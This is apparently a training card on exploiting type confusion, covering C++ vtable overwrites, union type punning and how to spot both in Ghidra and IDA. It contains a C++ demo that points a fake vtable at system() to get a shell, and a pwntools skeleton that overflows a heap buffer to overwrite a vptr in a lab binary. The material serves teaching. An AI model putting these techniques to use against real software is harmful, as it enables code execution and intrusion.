Type Confusion Exploitation: C++ Vtable Misdirection and Union-Based Memory Reinterpretation for Code Execution
Theory
Why This Matters
Type confusion is responsible for a large share of modern browser and JIT engine exploits. CVE-2021-30551 (Chrome V8 type confusion, exploited in the wild), CVE-2022-2294 (WebRTC type confusion), and dozens of similar issues all involve the engine treating a heap object as the wrong type, allowing an attacker to control a virtual function call through a fabricated or corrupted vtable pointer. NICE K0169 (reverse engineering concepts) and S0131 (develop exploits) require understanding how C++ virtual dispatch works at the assembly level and how a confused type provides a controlled call to an arbitrary address. This card covers both C++ vtable type confusion and C union read/write mismatch patterns.
Core Concept
C++ virtual dispatch works through a vtable — a per-class table of function pointers. Every object of a class with virtual methods begins with a hidden vtable pointer (vptr) as its first member. Calling obj->method() compiles to: load vptr from *(obj), load function address from vptr[method_index], call it.
Type confusion occurs when code creates an object of type A but subsequently treats the memory as type B (or vice versa). If the attacker controls which vtable pointer is at offset 0 of the object (through UAF, heap grooming, or an explicit cast), then a virtual call through the confused object goes through a fabricated vtable — producing a controlled call to an arbitrary address.
Union read/write mismatch: C unions allow the same memory to be interpreted as different types. A write through one union member followed by a read through a different member with different size or layout produces a reinterpretation of the bytes:
union Val {
double d; // 8 bytes, IEEE 754
uint64_t u; // 8 bytes, integer
};
union Val v;
v.d = 1.0; // write as double: bits = 0x3FF0000000000000
printf("%lx
", v.u); // read as uint64_t: 0x3FF0000000000000
// This is the basis of type-pun heap address encoding in JS engine exploits
Technical Deep-Dive
C++ vtable type confusion example:
#include <cstdio>
#include <cstdlib>
class Animal {
public:
virtual void speak() { puts("..."); }
virtual void move() { puts("walk"); }
int health;
};
class Dog : public Animal {
public:
void speak() override { puts("Woof"); }
void move() override { puts("run"); }
};
class Cat : public Animal {
public:
void speak() override { puts("Meow"); }
void move() override { puts("slink"); }
};
void type_confusion_demo(void) {
Dog *d = new Dog();
// BUG: cast Dog* to Cat* without dynamic_cast check
Cat *c = reinterpret_cast<Cat *>(d);
// c->vptr still points to Dog's vtable
// Calling c->speak() calls Dog::speak -- wrong type but same vtable layout
c->speak(); // "Woof" -- type confused but same vtable structure
// Attacker-controlled: allocate a fake vtable in a controlled buffer
static uint64_t fake_vtable[2] = {
(uint64_t)system, // replace speak() with system()
(uint64_t)exit // replace move() with exit()
};
// Overwrite vptr of d to point to fake_vtable (via UAF or overflow)
*(uint64_t *)d = (uint64_t)fake_vtable;
// Now: d->speak() calls system() with d as first arg (this ptr = d)
// If d's first data field contains "/bin/sh ", this gives a shell
*(char **)((char *)d + 8) = (char *)"/bin/sh";
d->speak(); // system("/bin/sh")
}
Identifying type confusion in Ghidra:
// In Ghidra decompiled output, type confusion often appears as:
pObj = (ClassA *)alloc_object(SIZE_B); // allocation for B but cast to A
// or:
pObj = get_cached_object(); // returned as base type
call_virtual_method_0(pObj); // calls vptr[0] — which class is it?
In IDA Pro, look for:
1. mov rax, [rdi] — load vptr from object (rdi = this)
2. call [rax+N] — indirect call through vtable at slot N
3. Trace what controls rdi — if it comes from a user-controlled allocation or type cast, type confusion is possible.
# pwntools exploit skeleton: overwrite vptr via heap overflow into adjacent object
from pwn import *
p = process('./type_confusion')
elf = ELF('./type_confusion')
def alloc_dog(): ...
def alloc_buf(size, data): ...
def call_speak(idx): ...
# Layout: Dog object at heap+0x260, adjacent buffer at heap+0x280
# Overflow buffer by 0x20 bytes to overwrite Dog's vptr
fake_vtable_addr = elf.sym['fake_vtable'] # prebuilt in BSS
payload = b'A' * 0x20 + p64(fake_vtable_addr)
alloc_dog() # allocate Dog, idx 0
alloc_buf(0x10, payload) # overflow into Dog's vptr region
call_speak(0) # Dog->speak() now calls through fake_vtable[0]
p.interactive()
Reverse Engineering Methodology
- In Ghidra, enable C++ class recovery (Analysis → One Shot → Class Analyzer). It identifies vtable structures and labels virtual method slots. Look for objects where the vptr is loaded from a user-controlled source.
- Use
objdump -d ./target | grep -B5 "call *"to find all indirect calls. Eachcall *(%rax)orcall *[rax+N]is a virtual dispatch — trace what controlsrax. - In IDA, use the FLIRT signature database to identify standard library classes and their expected vtable layouts. A vtable that does not match any known class is a red flag for a confused type.
- For union aliasing, search for union declarations or explicit pointer casts between
double/floatanduint64_t/uint32_t. These indicate intentional type punning that may be exploitable.
Common Reversing Errors
- Assuming dynamic_cast prevents confusion:
dynamic_castperforms a runtime type check and returns NULL or throws on failure — but only if RTTI is enabled and the code actually usesdynamic_cast.static_castandreinterpret_castperform no runtime check. Look for which cast is actually used. - Confusing vtable offset with object offset: the vptr is at offset 0 of the object. Vtable slots are at offset
N * sizeof(void*)from the vtable base. Do not confuse the vptr location (in the object) with the vtable structure (a separate read-only table). - Overlooking multiple inheritance: with multiple inheritance, an object may have multiple vptrs at different offsets. Confusing which base class's vptr is being loaded leads to calling the wrong virtual function even without attacker interaction.
- Treating vtables as always read-only: on binaries with no Full RELRO equivalent protection for vtables (they live in
.rodata), and with a write primitive, vtable entries can be directly overwritten. On most modern Linux binaries.rodatais not writable, but verify withreadelf -S ./target | grep rodata.
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.